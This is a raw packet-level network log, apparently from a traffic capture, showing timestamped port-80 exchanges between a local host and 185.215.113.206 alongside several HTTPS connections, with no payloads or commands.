Nov 19, 2024 20:05:48.435801983 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435801983 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435808897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435843945 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435945034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435959101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435972929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.435981989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.435981989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436017036 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436017036 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436074972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436090946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436114073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436125040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436127901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436144114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436145067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436160088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436176062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436192036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436202049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436202049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436208010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436222076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436239958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436244965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436244965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436285973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436342955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436419964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436459064 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436510086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436523914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436533928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436547041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436558962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436573982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436588049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436588049 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436599970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436614990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436625957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436639071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436640024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436640024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436650991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436664104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436666965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436676979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436688900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436695099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436695099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436702967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.436737061 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.436750889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437007904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437221050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437236071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437247038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437251091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437268019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437274933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437282085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437298059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437311888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437315941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437315941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437329054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437342882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437356949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437357903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437376976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437383890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437383890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437422037 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437643051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437659025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437674999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437691927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437695980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437707901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437724113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437738895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437738895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437738895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437757015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437762022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437772989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437787056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437788963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437803984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437812090 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437819958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437835932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.437839031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437860012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.437892914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438043118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438066006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438081026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438097954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438097954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438114882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438122034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438122034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438129902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438131094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438148022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438164949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438175917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438175917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438180923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.438200951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438227892 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.438227892 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.450412035 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.450431108 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.450476885 CET	52501	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.450483084 CET	443	52501	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.480690956 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:48.483226061 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.483279943 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.483356953 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.485034943 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.485076904 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.485243082 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.485717058 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.485743999 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.485842943 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.489034891 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.489058971 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.489301920 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:48.489317894 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:48.489361048 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.489844084 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:48.490748882 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.490761995 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.490844011 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.492227077 CET	52531	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.492249012 CET	443	52531	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.493161917 CET	52532	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.493200064 CET	443	52532	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.493504047 CET	52533	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.493516922 CET	443	52533	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.493752003 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.493787050 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.494441032 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:48.494541883 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:48.494673014 CET	52535	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.494682074 CET	443	52535	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.496711016 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:48.521502972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521528959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521543980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521557093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521569014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521584988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521595955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.521596909 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.521672964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521682024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.521687031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521701097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521713972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.521735907 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.521886110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521898031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521904945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521912098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521918058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521924973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.521931887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522025108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522181034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522193909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522206068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522231102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522277117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522304058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522315979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522326946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522336960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522346973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522349119 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522361040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522371054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522383928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522406101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522406101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522419930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522631884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522644043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522655964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522676945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522681952 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522689104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522701025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522711992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522722960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522728920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522728920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522736073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522748947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522763014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522773027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.522778988 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522778988 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.522813082 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.523123980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.523137093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.523147106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.523159027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.523171902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.523171902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.523195982 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.523216963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.543338060 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:48.565774918 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:48.565882921 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:48.565984011 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:48.566154003 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:48.566195011 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:48.622452974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.625420094 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.625471115 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:48.625720978 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.626595974 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:48.626607895 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:49.080641031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:49.625488043 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.625703096 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.625714064 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.625906944 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.626040936 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.626087904 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.626105070 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.626177073 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:49.626198053 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:49.626211882 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.626221895 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.626236916 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:49.626244068 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:49.626279116 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:49.626311064 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:49.626411915 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.626463890 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.626519918 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.626580954 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.626866102 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.626914978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.627000093 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.627013922 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.627068043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:49.627099991 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.627159119 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.627578974 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:49.627588987 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:49.627737045 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.627742052 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.628086090 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.628110886 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.629574060 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.629581928 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.629605055 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.629673004 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.630007982 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.630019903 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.630197048 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.630260944 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.630501986 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.630554914 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.630605936 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.630611897 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.631347895 CET	52529	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.631529093 CET	52528	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.631580114 CET	52530	443	192.168.2.7	104.117.182.59
Nov 19, 2024 20:05:49.631586075 CET	443	52530	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.675324917 CET	443	52528	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.675326109 CET	443	52529	104.117.182.59	192.168.2.7
Nov 19, 2024 20:05:49.733731985 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.733748913 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.733767986 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.733788967 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.733848095 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.733869076 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734092951 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734097958 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734117031 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734169006 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734241009 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734261990 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734319925 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734355927 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734390020 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734409094 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734523058 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734523058 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.734544992 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734555006 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734867096 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734904051 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.734956026 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.735416889 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.735416889 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.735441923 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.735452890 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.738481998 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.738903046 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:49.738929987 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.739326954 CET	52540	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.739341974 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.739361048 CET	443	52540	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.739376068 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.739435911 CET	52540	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.739492893 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.739522934 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.739828110 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:49.739939928 CET	443	52536	20.110.205.119	192.168.2.7
Nov 19, 2024 20:05:49.739996910 CET	52536	443	192.168.2.7	20.110.205.119
Nov 19, 2024 20:05:49.740295887 CET	52540	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.740305901 CET	443	52540	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.740309000 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.740329981 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.740673065 CET	52542	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.740684986 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.740818977 CET	52542	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.740931034 CET	52542	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:49.740941048 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:49.743030071 CET	52543	443	192.168.2.7	23.44.203.77
Nov 19, 2024 20:05:49.743037939 CET	443	52543	23.44.203.77	192.168.2.7
Nov 19, 2024 20:05:49.743305922 CET	52543	443	192.168.2.7	23.44.203.77
Nov 19, 2024 20:05:49.743305922 CET	52544	443	192.168.2.7	23.44.203.77
Nov 19, 2024 20:05:49.743335009 CET	443	52544	23.44.203.77	192.168.2.7
Nov 19, 2024 20:05:49.743410110 CET	52544	443	192.168.2.7	23.44.203.77
Nov 19, 2024 20:05:49.743563890 CET	52543	443	192.168.2.7	23.44.203.77
Nov 19, 2024 20:05:49.743577957 CET	443	52543	23.44.203.77	192.168.2.7
Nov 19, 2024 20:05:49.743678093 CET	52544	443	192.168.2.7	23.44.203.77
Nov 19, 2024 20:05:49.743683100 CET	443	52544	23.44.203.77	192.168.2.7
Nov 19, 2024 20:05:49.745167017 CET	52546	443	192.168.2.7	23.44.203.72
